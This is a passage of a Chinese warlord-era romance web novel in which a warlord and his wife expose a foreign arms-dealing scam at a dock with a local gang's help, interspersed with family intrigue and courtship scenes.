段老板如蒙大赦,赶紧顺着台阶下:“督军明鉴!就是这个道理!那个……我去后厨看看其他的点心好了没有,二位慢用!慢用!”
说完,几乎是落荒而逃。
晏山青和江浸月对视一眼,江浸月忍俊不禁,眉眼弯了弯。
晏山青也勾了一下唇角,手指在桌面上轻轻点了点。
段老板下了楼,直接找到约翰和威廉的房间,关上门后,迅速道:“那位督军夫人不简单啊!懂得不少,连国外的情况都清楚!”
威廉顿时慌了:“我的上帝!我们昨天在她面前说了那么多话,她该不会都听懂了吧?怎么办?我们要不直接带着定金跑吧!?”
约翰满脸不赞同:“跑?那剩下的尾款怎么办?那么大一笔钱,你舍得吗?!也许……也许她只是从书上看到的?这些东方的大家闺秀,不是最喜欢看各种书装点门面吗?”
巨大的利益诱惑最终战胜了恐惧,三人商量后,决定再试探一次。
他们重新堆起笑容返回楼上餐厅,询问晏山青和江浸月早点是否合口味。
江浸月夸奖了一番,神态自若。
约翰故意用英语夹杂着中文跟他们闲聊,眼神非常留意江浸月,江浸月脸上露出恰到好处的茫然之色,仿佛听得一知半解。
两个洋人一通观察后,又放下心来,觉得江浸月刚才能说中那些只是巧合,或者是从别处听来的见识,并不是真的知道什么。
他们这边刚松口气,晏山青就用餐巾擦了擦手,忽然开口道:“两位来得正好,我也有事想跟你们说。这批货,我想提前到正月初三拿到。”
威廉愣了一下,旋即道:“督军怎么突然改变想法?正月初三?只剩下不到一个月,这时间也太仓促了,运输调配来不及啊!”
晏山青语气平淡,不容置疑:“我有急用。如果你们实在调配不来,那我只能去找别家订了。当然,我们这边的合作也不会取消,但数量,只能要原定的三分之一。”
这一下子就要损失三分之二的订单啊!
洋人和段老板的心都在滴血,他们互看一眼,咬牙道:“这……督军,您容我们去商量一下,想想办法!”
目送三人再次离去,江浸月则看向晏山青,好奇地问:“督军不怕他们真的答应只要三分之一订单吗?”
晏山青拿起茶杯,慢悠悠地呷了一口:“你没打过猎吧?在确定前方有一只足够肥硕的猎物时,猎人是不会为了路上偶遇的一只小兔子而停留的。”
“贪心,会让他们失去判断力。”
江浸月笑道:“确实没打过猎。等开春,天暖和些,督军带我去长长见识?正好也检验一下我的枪法练得如何?”
晏山青看着她亮晶晶的眼睛,弯了一下唇:“行。我也没忘记,我的枪还在你那里,要是霸占我的枪这么久,还学得不成样子,那就别怪我笑话你了。”
江浸月被他送回娘家时,她找借口跟他套近乎,他当时就直接送了她贴身的配枪,让她去练习枪法。
那把枪,时至今日,她都没有还回去。
江浸月自信道:“一定让督军刮目相看。”
……
段老板和那两个洋人躲进房间,关紧了门。
威廉急得团团转:“他突然提前要货,是不是发现了什么?上帝啊!我就说该拿着定金跑!”
约翰脸色也很难看,但强作镇定:“冷静点!那个女人明显听不懂我们说话,我们没有露出破绽!晏山青肯定是真有什么急用,才要提前交货的。”
“三分之二的订单啊!那笔钱够我们逍遥大半辈子了!你们舍得不要吗?!”
段老板沉吟道:“以我对晏山青的了解,他要是真发现我们骗他,根本不会跟我们废话,直接就把我们毙了!现在还能坐下来谈,说明他没有起疑。这笔生意,必须做下去!”
2比1,贪念最终压倒了不安。
三人硬着头皮回到餐厅,约翰挤出一个笑容:“督军,我们商量好了!一定想办法,正月初三前,把货给您送到!”
晏山青满意:“好。那我和夫人就在西江住下,接到货再回南川。”
段老板连忙赔笑:“好的好的,无比荣幸,在下绝对会招待好督军和夫人的!”
他转头叫来自己的夫人,吩咐她好好陪督军夫人游玩西江。
段夫人是个圆滑的妇人,对江浸月极尽奉承。
江浸月倒也不客气,跟着她去了百货大楼,看中什么买什么,珠宝首饰、绫罗绸缎,专挑贵的。
段夫人跟在后面付账,心里肉疼得要命,却不敢表露半分。
江浸月看着她强颜欢笑的样子,心里暗暗觉得好笑。
在一家洋装店,江浸月看中一套做工精致的深灰色西装。
段夫人正要习惯性地掏钱,江浸月却摆手:“这件我自己来。”
她付了钱,将包装好的西装拎在手里。
段夫人刚松了口气,以为今天能省下一笔,不料几个穿着流里流气的男人,突然围了过来。
他们从刚才起就在盯着江浸月,见她穿着不俗,出手阔绰,又只有女伴陪同,以为是外地来的富家小姐。
“哟,小美人给哪个野男人买衣服啊?”
为首的那个嬉皮笑脸,目光猥琐地在江浸月身上打转,“哥几个也不错啊,妹妹跟我们走,我们保证比你那情夫会疼人,给你买漂亮裙子,买肚兜儿怎么样?哈哈哈哈!”
污言秽语不堪入耳。
江浸月脸色一沉,冷声呵斥:“放肆!”
她越是这样,那几个混混越是兴奋,竟然还敢伸手拉她:“脾气还挺辣的!哥哥喜欢!”
眼看那只脏手就要碰到江浸月的手臂——
“咔嚓!”
“啊!!!”
一声骨裂伴随着惨叫声响起!
晏山青不知何时出现,一把攥住那只咸猪手,直接拧断他的手腕!
他面色冷峻,抬脚就将另外几个混混狠狠踹翻在地,力道之大,混混们捂着胸口,哀嚎不止,久久爬不起来。
“妈的!你敢打我们!你、你给老子等着!”混混头子捂着断手,撂下狠话,带着人连滚带爬地跑了。
段夫人吓得脸色发白,连忙上前道歉:“晏督军恕罪!是、是我没照顾好夫人!”
晏山青压根没把那几个混混放在眼里,看了一眼惊魂未定的段夫人,他淡道:“段夫人先回去,我和夫人自己逛逛。”
段夫人如蒙大赦,赶紧告辞。
江浸月微仰起头看着晏山青:“督军的公务处理完了?”
“嗯,处理完就来找你。”晏山青目光落在她手里的西装袋子上,“给谁买的?”
第60章 督军,沈霁禾是怎么死的
“给督军啊。”
江浸月十分坦然,“而且是花我自己的钱买的。”
晏山青嘴角扬起,又被他压下:“还以为是给你大哥或者二哥买的。”
江浸月微微歪头:“大哥有大嫂操心,二哥有自己的眼光。我自然是顾着自己的丈夫。”
她说“丈夫”两个字的时候,语气十分自然,却让晏山青眼底闪过一丝波澜。
他突然朝她靠近一步,垂下眼看她,气息迫人:“那怎么不喊声‘夫君’来听听?嗯?”
江浸月不自然地别开脸:“……督军,我们去那边看看吧。”
晏山青盯着她闪烁的眼睫,有点不知道她只是单纯的害羞呢,还是这个称呼在她那儿只属于某个人?
他寡淡地一笑,没去深究,接过西装袋子:“我先试试,万一夫人的眼光不好,买的衣服不衬我呢。”
江浸月忍不住小声辩驳:“我的眼光是一等一的好!”
晏山青换上那套西装走出来,果然很合适,将他身上那股桀骜与野性都收敛了几分。
但狮子就是狮子,不会因为趴着就变成绵羊,他就算穿着斯文的西装,那股独属于军阀的威压还是在的。
晏山青站在全身镜前扣上袖扣,给了一句评价:“确实是一等一的好。”
江浸月骄傲一笑。
他直接就穿着了,对店员道:“旧的衣服包起来,送去和平饭店,告诉他们是晏先生的东西。”
店员连忙说好。
两人继续在街上随意闲逛。
然而,没想到的是,刚才那几个混混是当地的地头蛇,很快便纠集了二十多号人,手持棍棒,气势汹汹地围堵过来!
“就是他们!废了那男的!把那小娘们儿抢过来!”
晏山青眼神一凛,一把将江浸月护在身后。
“上!”
晏山青脱了西装外套丢给江浸月,而后就对上那些人。
他可是沙场宿将,身手极好,哪怕是赤手空拳,也能轻易放倒这些人,完全不落下风。
但对方人多势众,渐渐形成合围之势。
江浸月抱着晏山青的衣服,见势不妙,目光急扫,看到街角有个马贩,急中生智,迅速拔下头上的翡翠发簪塞给马贩,指着一匹看起来最矫健的黑马说:
“这马我买了!”
“好嘞!”
江浸月利落地翻身上马,一夹马腹,朝着混战中心直冲而去!
“督军!”
晏山青正一拳击退一个混混,闻声回头——
只见长街之上,江浸月骑着骏马,青丝被风吹得扬起,旗袍下摆猎猎作响,朝着他疾驰而来,对他伸出手。
那一瞬间,晏山青感觉自己的心跳似乎漏了一拍。
他没有任何犹豫,一把抓住她的手,利落地翻身上马,坐在她的身后,手臂环过她纤细的腰,握住缰绳。
“驾!”
黑马长嘶一声,冲破人群,朝着城外疾驰而去!
直到将追兵远远甩在身后,两人才放缓了速度。
晏山青低头看着身前的女人,问一句:“你还会骑马?”
江浸月微微侧头,语气里带着点得意:“我不只会骑马,还会开车呢!”
“谁教的?”晏山青的声音听不出情绪。
江浸月顿了一下,小声:“……在国外学的。”
晏山青沉默片刻,淡淡拆穿:“是沈霁禾教你的吧。”
江浸月握着缰绳的手指一紧,但也没有否认。
气氛冷淡了些许。
晏山青却又开口,声音平静:“沈霁禾,他对你好吗?”
他顿了顿,补充道,“尽管说,是我要问的,不会怪罪你。”
江浸月望着前方,轻声道:“……他待我极好。”
晏山青没再说话。
两人来到一片空旷的草原,下了马,放任马儿自己去吃草喝水。
晏山青随意地往前走,看看地势。
江浸月看着晏山青的背影,欲言又止。
晏山青像是后背也长了眼睛,头也没回地道:“有什么话就直接说吧。”
江浸月轻轻抿唇,还是开了口:“督军,沈霁禾……是怎么死的?”
晏山青没有回头,语气也听不出波澜:“想问这个很久了吧。”
“我听他身边的副官说,当时有炸弹在他身边爆炸,他和几个贴身警卫都……尸骨无存。我们后来下葬,也只是葬了他的衣冠冢。”
过了这么久,江浸月提起来沈霁禾,声音还是有些艰涩,“我明白,胜败乃兵家常事,战场上生死各凭本事,将军马革裹尸,也算是一种善终,不管督军信不信,我没有因为他的死而记恨过你。”
“我只是想知道,他当时……是怎样的?”
晏山青沉默了一会,才转过身,目光乌沉地看着她:
“当时的战局,是沈家军占据高地,我们从下往上攻,炮兵掩护步兵冲锋,我们有一门炮打中了他们的指挥部。”
“指挥部炸了以后,我们很快就赢了,我们攻上去才知道,沈霁禾当时就在指挥部里。就这么简单。”
江浸月眼神恍惚了一下,像是透过草原的风看到了遥远的战场硝烟。
片刻后,她才扬起嘴角,那笑容有些飘忽:“谢谢督军告诉我。”
晏山青深深看了她一眼,没再说什么,只道:“回城吧。”
“好。”
两人策马回城,依旧回到和平饭店。
江浸月先回房更换因为骑马而略显凌乱的旗袍,整理好仪容走出房门,却听见外间客厅传来喧闹声。
一看,晏山青大马金刀地坐在沙发上,面前跪着几个鼻青脸肿的男人,正是那几个调戏了她,还敢寻仇的混混!
晏山青身旁,则站着一个穿着西装,看起来颇有派头的中年男人。
中年男人对着晏山青躬身道:“晏督军,鄙人白振棠,刚刚才得知晏督军和夫人大驾光临西江。”
“唉,我们招待不周也就罢了,竟然还让这几个不长眼的东西惊扰了督军和夫人的兴致,白某实在是惭愧!特意绑了他们来,向督军和夫人赔罪!”
晏山青眼皮都没抬一下,嗓音冷淡:“这些都是白爷的人?”
白振棠连忙摆手:“督军折煞我了!堂口兄弟多,难免混进一些不懂规矩的阿猫阿狗。这几个人,白某现在就交给督军处置,要打要杀,悉听尊便!”
晏山青目光扫过地上那几个完全不见嚣张气焰、一个劲儿发抖的混混,嘴角一哂:“满嘴污言秽语,那就把舌头割了吧。”
他的手下立刻上前!
这时,晏山青看到江浸月,改口道:“拖到后巷去处理,别吓着夫人。”
手下利索地将哭爹喊娘的混混们拖了出去。
白振棠这才看到江浸月,脸上连忙堆起歉意的笑:“夫人,今日之事,实在是白某管教不严,让您受惊了……呃?”
他突然看到江浸月的脸,话语停顿,眼底闪过一丝错愕。
晏山青眯了一下眼,敏锐地捕捉到他的异常反应。
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次~】
第61章 再恨我,你也是我的夫人
江浸月没有察觉到白振棠突然卡住的话,只礼节性地颔首:
“白爷日理万机,手下人众多,确实很难面面俱到,这不是白爷的错。”
“只是希望白爷日后能多加约束手下人,毕竟西江鱼龙混杂,手下人太嚣张,很容易得罪不该得罪的人,到时候也给白爷添麻烦。”
白振棠回过神,连连称是:“夫人真是深明大义!白某一定严加管束!不知道夫人和督军能否赏脸,让白某今晚设宴,略尽地主之谊,也算赔罪?”
江浸月看向晏山青,晏山青淡淡的:“改天吧。”
白振棠也不强求,又客气了几句,便告辞离开了。
等他走后,江浸月才问晏山青:“这个白爷是什么人?”
晏山青端起茶杯:“西江势力盘根错节,白鹤堂就是其中一股,西江的地下赌场、钱庄,很多都跟他们有关系。”
江浸月了然:“原来是这样。”
晏山青放下茶杯:“夫人收拾一下,等会儿搬去陈官公馆。总住在饭店也不方便。”
“好。”江浸月转身回房。
晏山青却起身下了楼,在饭店门口叫住了正准备上车的白振棠。
“白爷。”
白振棠连忙转身:“督军还有何吩咐?”
晏山青走到他面前,目光锐利:“你刚才看见我夫人,想到了什么?”
白振棠干笑一声:“没什么,只是觉得夫人气质不凡……”
“说。”
晏山青只有一个字,却带着千斤重的压迫力。
白振棠打哈哈不过,只能实话实说:“不瞒督军,鄙人之前,在沈督军身边,见过夫人一面……”
晏山青眼神微暗:“我夺了南川,娶了沈霁禾的夫人,这件事,没传到西江吗?”
白振棠忙说:“知道自然是知道的,只是骤然见到,还是有点惊讶罢了。”
晏山青盯着他:“看来是上次见面的场景太难忘,才让白爷有这种物是人非的感慨。所以那是个什么场景?”
“那是……前年的正月十五,上元灯节,沈督军带着夫人来看花灯和游神,当时夫人穿着一身雪白的狐裘,站在沈督军身边,看着满城灯火,笑得很是开心。沈督军也是全程护着,寸步不离。”
晏山青想象得出那个画面。
满城灯火,锦衣狐裘,才子佳人,恩爱无双。
他甚至还能想象出沈霁禾那张温和带笑的脸,以及江浸月无忧无虑的笑容,一定十分美好,否则也不能让只有一面之缘的白振棠都这么印象深刻。
他没再问别的,挥了挥手,让白振棠离开。
他独自站在饭店门口,寒风吹过,心里却有一股莫名的烦躁。
他们那么恩爱,沈霁禾死在他手里,江浸月怎么可能不恨他?
江浸月收拾好东西,他们便转道陈官公馆。
这座公馆,原来是一位前朝贵族的家,后来贵族家道中落,只能将府邸对外出租,创造营收。
不少来西江游玩的达官显贵,嫌住饭店不方便,就会租下这种楼房。
车子刚到公馆门口,江浸月就看到苏拾卷叼着烟等在那里。
“苏参谋长也来了?”
苏拾卷笑着走过来,为她打开车门:“可不得来吗?你们在西江玩得这么刺激,我也要看热闹。”
晏山青下了车,懒散地骂了他一句:“爱看戏就去梨园。”然后对江浸月道,“你先进去安顿吧。”
江浸月歪了歪脑袋:“好的。”
就跟着佣人先进去了。
苏拾卷晃到晏山青身边,打量着他的脸色:“怎么又不高兴了?事情不是按照你预想的发展吗?”
晏山青没理他,径直往里走。
苏拾卷跟在他后面,锲而不舍:“说说嘛,谁又惹着你了?”
晏山青停下脚步,望着二楼已经看不见的身影,突然没头没尾地低声说了一句:“想恨就恨吧。”
苏拾卷:“……啊?恨谁?”
晏山青像是自言自语,又像是回答他,声音低沉:“再恨,你也是我的夫人了。”
苏拾卷一脸莫名其妙:“??你在说什么啊?”
晏山青却已经恢复了常态,在沙发坐下:“没什么。滚过来,说正事。”
……
江浸月和晏山青在西江一住就是大半个月。
期间,老夫人往西江打了不下七八个电话,语气从最初的催促到后来的焦急,甚至派了心腹嬷嬷亲自跑一趟,苦口婆心地劝道:
“督军,夫人,这眼看就要过年了,祭祖可是头等大事,您这个一家之主得回去主持啊?”
晏山青眼皮都没抬起来:“区区祭祖,母亲自己拿主意就好了。”
老夫人接到回话,气得心口发堵。
她何尝不明白,晏山青这是用行动在逼她处置宋知渝!
宋知渝敢在大庭广众之下构陷督军夫人,如果只是不痛不痒地罚跪祠堂,传出去,江浸月这个正室夫人在南川城还有什么脸面?
“他这是、他这是为了一个女人,在逼他亲娘啊!”老夫人又痛又怒。
嬷嬷连忙替她顺气:“老夫人息怒,督军此举,倒也不全是为了夫人跟您置气,实在是宋小姐这次做得太过火了。”
“老奴说句僭越的话,宋小姐设的那个局,如果是关起门来,只在咱们府里闹腾,没传到外头去,督军兴许都不会这般动怒。”
老夫人抬起眼:“你的意思是……山青气的,是知渝丢了晏家的脸面?”
“正是这个理儿啊老夫人!”
嬷嬷忙道,“现在这南川城,谁不知道宋小姐假孕争宠,还自导自演了一出摔楼梯的戏码陷害正室夫人?倘若咱们晏家对此不闻不问,不做严惩,外头的人会怎么看?”
“只会觉得咱们督军府赏罚不明,毫无规矩,做下这等错事都能安然无恙,往后谁还会把督军府的规矩放在眼里?这对督军治理南川可是大大不利啊!”
老夫人沉默了。
这话戳中了她的要害。
晏家的声誉,儿子的威望,确实比什么都重要。
“可是知渝那孩子,毕竟在我身边这么多年……”老夫人还是不忍心,“她也是一时糊涂,怕山青有了江浸月就不要她了,这才走了歪路,她本性不坏的。”
“她还在襁褓中的时候,还吃过我的奶,跟我的亲生女儿也没什么两样了,我怎么狠得下心重罚她呢?”
嬷嬷道:“老夫人慈心,老奴明白,可现在这个情形,不严惩是不行了啊!”
老夫人挣扎了许久,终于还是下定了决心:“那就……送她去山上的静心庵清修吧,不让她留在府里,这个惩罚总够了吧?”
嬷嬷连忙答应:“诶,诶,等过个一年半载,风头过了,督军也消气了,咱们再接宋小姐回来!”
老夫人疲惫地摆摆手,让她去办吧。
嬷嬷马上带着下人来到祠堂,宋知渝还跪在蒲团上。
“知渝小姐。”
宋知渝立刻回头,看到是老夫人的心腹,眼底还迸发出喜色,以为老夫人是心软了,要放了她了:
“是不是母亲……”
嬷嬷却打断她的话:“知渝小姐,老夫人让你到静心庵清修,没有允许,不准离开。”
!宋知渝的脸色唰的一下就白了!
第62章 我们的大鱼,咬钩了!
江浸月得知老夫人最终将宋知渝送去山上清修的事后,心里那口闷气舒服多了。
否则,她可能就要自己出手收拾宋知渝了。
总而言之,她绝不可能白白被宋知渝算计。
她也知道老夫人肯严厉处罚宋知渝,主要是因为晏山青施压,所以她寻了个机会,对正在看文件的晏山青道:
“督军,母亲处置宋小姐的事,谢谢你。”
晏山青头也没抬,语气有些淡:“就这一件事,你要谢我几次?”
江浸月笑道:“礼多人不怪呀。”
晏山青终于抬起眼,目光在她脸上停留了片刻,然后才说:“那些都是小事。我们的大鱼,要咬钩了。”
大鱼?
江浸月旋即反应过来:“货船要来了?可现在才腊月二十八,不是说要正月初三吗?”
在一旁翘着脚喝茶的苏拾卷,玩味儿地道:“弟妹,那个段老板和洋人也不是省油的灯,跟咱们耍心眼呢,船一个小时前靠的岸,靠完我们才知道货到了。”
江浸月恍然大悟:“他们提前交货日期,是因为也心存疑虑,怕我们布置后手,干脆杀我们一个措手不及,让我们就算有什么计划,这么临时也来不及调动人手?”
“还算聪明。”晏山青起身,拿了搭在椅背上的外套穿上,“走吧,去码头看看货。”
江浸月一愣:“那我们的人呢?”
“我们的人?”晏山青挑眉,“他们初三才到,现在哪有人?”
江浸月懵了:“意思是,就我们三个人去码头吗??”
去对付段老板和洋人??
晏山青没解释,只勾唇:“有何不可?”
江浸月觉得哪都不可啊!
但晏山青说走就走,苏拾卷开车,载着他们到了码头。
夜色浓重,四下安静,只有码头灯火通明。
段老板和两个洋人已经等在那里,见到他们,脸上立刻堆起热切的笑容:
“晏督军!夫人!苏参谋长!真是对不住,货船顺风顺水,比预计快了好几天,希望没给督军添麻烦!”
晏山青自顾自点了一支烟,苏拾卷笑着道:“不麻烦,货越早到越好。那先卸两箱下来瞧瞧吧。”
“没问题!”
段老板答应得爽快,立刻指挥手下从船上抬下两个沉重的木箱,当众打开。
里面是码得整整齐齐的枪械,哪怕只是这么放着,也带着一股煞气,不愧是杀器。
晏山青和苏拾卷检查那两箱货,江浸月则不动声色地环顾四周。
然后就发现,那艘货船上,人影绰绰,至少得有二三十个手下,每个人身上都挎着枪……
他们人多势众,他们就三个人,真干起来肯定落下风。
江浸月心下打鼓,手心都有些出汗。
苏拾卷检查完毕,对晏山青点头,这两箱没问题。
段老板脸上的笑容更深了一些:“督军,货没问题,那尾款……”
晏山青吐出一口烟雾,似笑非笑道:“东西没问题,钱当然也不会有问题。拾卷。”
苏拾卷转身从汽车后备厢里拎出一个皮箱,打开,里面是码放好的金条。
段老板和两个洋人眼睛都是一亮,立刻跑过去,拿起金子咬了一口,确定是真金后,三人脸上的笑容更加痴狂了。
段老板合上箱子,紧紧抱在怀里,扭头对手下大声喊道:
“快!快给督军卸货!”
他的手下们训练有素,一箱接着一箱卸货,不多时,码头就堆了十几个大木箱子。
段老板和两个洋人,一边说话一边往船上走:“督军,货都在这里了,那我们就先走了,希望下次还能继续合作……”
“慢着。”
段老板脚步一顿!
晏山青低沉的嗓音响起:“段老板,你这货,好像有问题。”
段老板脸色僵硬,干笑着说:“督军,您这是什么话啊?刚才不是验过了吗?绝对是上等货色!”
“是吗?”晏山青扯了扯嘴角,毫无预兆地抬手——
“砰!”
一声枪响划破夜空!
子弹精准打爆一个木箱,箱子裂开,里面的东西哗啦啦掉了一地,赫然就是一些锈迹斑斑的破铜烂铁!
一时间,码头鸦雀无声!
“段老板,解释解释吧。”
晏山青的枪口还在冒烟,眼神如同盯住猎物的鹰隼。
段老板见事情彻底败露,脸上的假笑瞬间消失,取而代之的是狠厉之色:“妈的!开船!快开船!”
他一边往船上跑一边猖狂大笑,“晏山青!老子早就猜到你们起疑了!所以才提前交易!现在老子钱到手了!码头全是老子的人!就你们三个,拦得住我们吗?!哈哈哈哈!”
“这笔钱,就当是老子教你做人的学费!以后长点心眼吧!”
货船发出轰鸣,开始缓缓移动。
江浸月着急道:“督军!他们真的要跑了!”
晏山青却一点都不慌,弹掉烟灰,说:“放心,走不掉。”
他话音刚落,原本漆黑的海面上,突然亮起数道强光——
几艘快船如同鬼魅一般破浪而来,瞬间就对货船形成合围之势!
!江浸月惊讶:“不是说我们的人要初三才来吗?!”
苏拾卷笑道:“我们的人要初三,但没说没有别人的人啊。”
别人的人……?
江浸月还没有猜出是谁,但看晏山青从始至终都是一副胸有成竹的样子,就知道这一局,他又要赢了。
船上的洋人和打手们已然慌作一团。
“怎么回事?!”
“哪来的人?!”
段老板见势不妙,立刻嘶吼:“冲过去!快冲过去!”
然而,快船上的人没给他们逃走的机会,密集的子弹如同雨点一般扫射过去,打得船体木屑纷飞,船上的人惨叫连连,不断有人中弹掉进海里!
“别打了!别打了!我们靠岸!我们靠岸!!”
段老板魂飞魄散!再这么打下去,他们全都得死!!
货船被迫重新靠回码头。
江浸月松了口气,成了。
晏山青看她的神情:“你对我是多没信心,才会觉得,我明知道货物有问题还不准备后手?”
“明明是督军连我都防着,不告诉我有准备后手,倒怪我不够信任督军。”江浸月反将一军。
“……”晏山青被她顶得无话可说,舌尖抵了一下腮帮,哼声道,“巧言令色。你以前跟沈霁禾的时候,没遇到过类似的事情?”
江浸月顿了顿,摇头。
没有,沈霁禾不会带她做这些事,最多就是处理完,跟她闲聊时说起。
沈霁禾不是防着她,只是觉得这些惊心动魄的事情,没必要让她也参与。
其中一艘快船上跳下来一个有些熟悉的身影,江浸月认出来:“白爷?”
第63章 晏山青是枭雄!
苏拾卷笑着迎上去跟白振棠握手:“白爷,这次真是多谢了,还劳您亲自出马。”
白振棠语气带着江湖人的爽利:“苏参谋长客气了!这帮洋鬼子,敢在我的地盘上用这种下三烂的手段行骗,传出去我白鹤堂的脸往哪儿搁?以后岂不是什么阿猫阿狗都敢来西江撒野?”
“收拾他们,是白某分内之事!”
原来晏山青是联合了白鹤堂啊。
也是。
这种不能放到明面上的事情,一旦出事,极其容易引来军政府的清查,会严重影响白鹤堂的“正常生意”。
帮晏山青,就是维护西江地下的秩序和平衡。
晏山青迈步走到被白鹤堂的手下押着跪在地上的段老板和洋人的面前。
段老板涕泪横流,磕头如捣蒜:“督军饶命啊!我们知道错了!我们也是一时糊涂,主要是您提前要货,我们来不及准备真的,才会一念之差!不是故意的啊!”
江浸月走到晏山青的身旁,冷声驳斥:“不是故意?我亲耳听到你们计划用废铁冒充新货卖给督军,拿了钱就跑路,还骂我们东方人都是蠢猪!这件事从头到尾就是一场骗局!你们还敢狡辩!”
两个洋人咬牙:“你听得懂英语?!”
江浸月直接用英语说:“我留过洋,当然会。我告诉你们,东方的大家闺秀,多才多艺,多种多样,有会琴棋书画的,也有会骑马射箭的,只会用短浅又刻板的目光看待我们,你们才是最愚蠢的!”
晏山青用枪口抵住段老板的额头,声音不大,却让人不寒而栗:“钱,我给你了。货,你拿假的糊弄我。段老板,这不合江湖规矩吧。”
“既然你不讲规矩,那就怪不得我了。”
砰!砰!
两声枪响,子弹精准地射穿了段老板的腿!
段老板顿时爆发出杀猪般的惨叫,抱着腿在地上打滚:“啊——!督军饶命!督军饶命啊!”
两个洋人更是吓得屁滚尿流!
段老板哭道:“督军!再给我一次机会!这次我一定把真军火给您弄来!分文不收!分文不收啊督军!”
晏山青居高临下地看着他,眼神漠然:“正月十五,我要看到真货。再敢骗我——”
他枪口下移,对准了段老板另一条腿,“我就让你这辈子都站不起来。”
“不敢了!我再也不敢了督军!”段老板疼得浑身抽搐,连声保证。
处理完段老板和洋人,晏山青从之前给段老板的那个箱子里,随手拿了几根金条,递给白振棠。
“白爷,辛苦你和兄弟们了,这点钱,拿去给兄弟们买酒喝。”
白振棠也没推辞,笑着收下:“督军客气!那白某就代兄弟们谢过了!”
晏山青随意地一摆手,苏拾卷就将箱子合起来,双手送到白振棠面前,白振棠又惊讶又惊喜:“督军这是……”
“我知道白鹤堂也有渠道弄到军火,这钱,我跟白爷买一批。”
白振棠大喜过望,马上就道:“好!白某一定亲自挑选,给督军的绝对是好货中的好货!”
江浸月全程旁观,只觉得晏山青真的很……厉害。
他可能从头到尾都没有想要调派自己的军队过来接手这单生意。
因为这种事是灰色的,他不能太大张旗鼓,所以他一开始只单独带她来西江,甚至用了一个“家里小妾作乱陷害夫人,带夫人过来散心”的理由,足以证明他是想要掩饰的。
那么人手从哪里来?就地取材。
白鹤堂自己送上门,也是最佳的选择,他们本身就是做地下生意,洋人在西江诈骗,破坏他们的市场,仅此一条就能说动他们出手。
事后给予白鹤堂酬劳,那是理所应当,可他又跟白爷订购一批军火,那就是跟白爷做生意,成了白爷的客户。
客户是财神爷、客户是上帝,这一手,本身是他欠白爷人情,这下倒是成了白爷要捧着他,反客为主。
不止如此。
他明知道段老板给的假货,却还是把尾款结了,让这笔生意成立,这么一来他就更有理由向段老板发难——没有这一出,也不能白得一批免费军火。
他一箭三雕,不费一兵一卒,不欠任何人情关系,就用既定的三十万大洋,买来双倍的精装军火。
城府、心计、谋略、大局观,他都是顶级的。
难怪能从一个平头百姓杀到今天的两省督军之位。
江浸月想到了一个词,枭雄。
有勇无谋,是莽夫;有谋无勇,走不了多远。
他是有勇有谋,这天下,一定会有他的名号。
这一夜,就这么表面风平浪静,底下暗潮涌动地落下了帷幕。
次日上午,江浸月和晏山青在花园用早餐,白振棠就又登门了。
他是来下请帖的:“督军,夫人,我想邀请二位参加我们西江正月初一的‘开年宝宴’。”
江浸月好奇:“开年宝宴是什么?”
“夫人有所不知,这是我们西江商界的老传统了。每年正月初一都要酬谢各方神明,保佑新的一年财源广进。”
白振棠笑着解释,“今年开头就还有督军这笔大生意,更是好彩头,肯定要好好热闹一番,还请督军和夫人务必赏光!”
江浸月莞尔:“原来是这样,倒是很有仪式感。”
晏山青原本没什么兴趣,但看江浸月的反应,便道:“既然白爷盛情邀请,那我们就留下看看。”
白振棠抚掌:“好!那我就先回去准备了,正月初一,恭候督军和夫人大驾!”
他说完就告辞,江浸月看着晏山青:“督军不回南川祭祖吗?母亲会不会生气?”
晏山青不以为意:“祖先都在东湖,有叔公他们祭拜,本身就不用我,那是母亲的借口罢了。来都来了,看了完热闹再回去。”
比起回南川面对老夫人,江浸月自然更愿意留下看热闹,嘴角不由自主地弯起来。
晏山青忽然朝她的脸伸手,动作很突然,江浸月一愣,但没有躲避。
下一秒,她就感觉温热的指腹蹭过她的唇角,让她心头悸了一下……
晏山青闲闲地一笑:
“夫人不是大家闺秀吗,吃东西还会弄得满嘴都是?”
第64章 她想当督军的小妾
江浸月耳根一热,但面上故作一本正经,用昨晚反驳洋人的语气道:“大家闺秀,既能吃相斯文,也能吃相不斯文,全看心情和场合。”
晏山青被她这伶牙俐齿的模样逗得一笑。
·
到了正月初一这天,江浸月特意选了一身胭脂红色的织锦旗袍,喜庆又保暖。
旗袍领口和袖口都编了柔软的白狐毛,蓬松地贴着她的下巴,衬得她的脸只有巴掌大,精致小巧,肌肤胜雪,明艳不可方物。
她从楼梯走下去时,正在客厅和苏拾卷说话的晏山青,下意识抬头看去,然后目光就顿住了,漆黑的瞳眸变得深邃。
苏拾卷看看江浸月,又看看晏山青,闷声笑了起来:“好了好了,你们快去吧,我也回东湖了。”
江浸月在楼梯站定,好奇地问:“来都来了,不一起看热闹吗?而且怎么是回东湖,不是回南川呢?”
苏拾卷笑说:“我回老家过年啊,要不是军火的事没处理完,我昨晚就回去吃年夜饭了。现在回去,都得大半夜呢。”
差点忘了苏拾卷是东湖人。
江浸月道:“原来如此。苏参谋长,新年快乐,一路平安。”
“新年快乐。”苏拾卷挥了挥手往外走,“年后见!”
江浸月继续走下楼,走到晏山青的身边:“督军。”
他西装革履,外套一件黑色大衣,与她站在一起,一个冷硬霸气,一个娇艳雍容,竟是说不出的登对。
“走吧。”晏山青将臂弯给了她,江浸月自然而然地挽住。
开年宝宴设在西江最繁华的中心区。
他们还没走近,就听见锣鼓喧天,百姓一阵又一阵的欢呼声,江浸月的脚步情不自禁地加快。
晏山青看她眼睛亮闪闪的,就知道她喜欢凑这种热闹,嘴角一勾。
宝宴还请了舞狮队伍,十几头憨态可掬的狮子在高低桩上跳来跳去,引得围观百姓鼓掌叫好。
旁边还有踩高跷的、耍大刀的、喷火的,各种各样的表演,共同建造出这派热闹景象,江浸月受到感染,也露出了笑脸。
“督军,东湖有类似的习俗吗?”周围太嘈杂,江浸月不得不靠近晏山青的耳朵说话,“南川正月初八和十五会有。”
晏山青的脖颈被她的气息拂过,他喉结动了一下,道:“东湖最热闹的是端午,到时候带你去看看。”
“好啊!”
白振棠是宝宴的主导人,也穿了一身崭新的暗红色长袍,精神抖擞,远远看到晏山青和江浸月,立刻笑着迎上来:
“督军!夫人!”
他热情地引着他们认识几位西江商界的头面人物,又亲自将他们请到视野最好的首席落座,这里能俯瞰整个宝宴。
白振棠继续跟晏山青寒暄,江浸月听了一会儿觉得没自己的事,就转头去看表演。
这时,一个穿着鹅黄色洋装,烫了一头卷发的女孩,一蹦一跳地跑过来:“爹爹!”
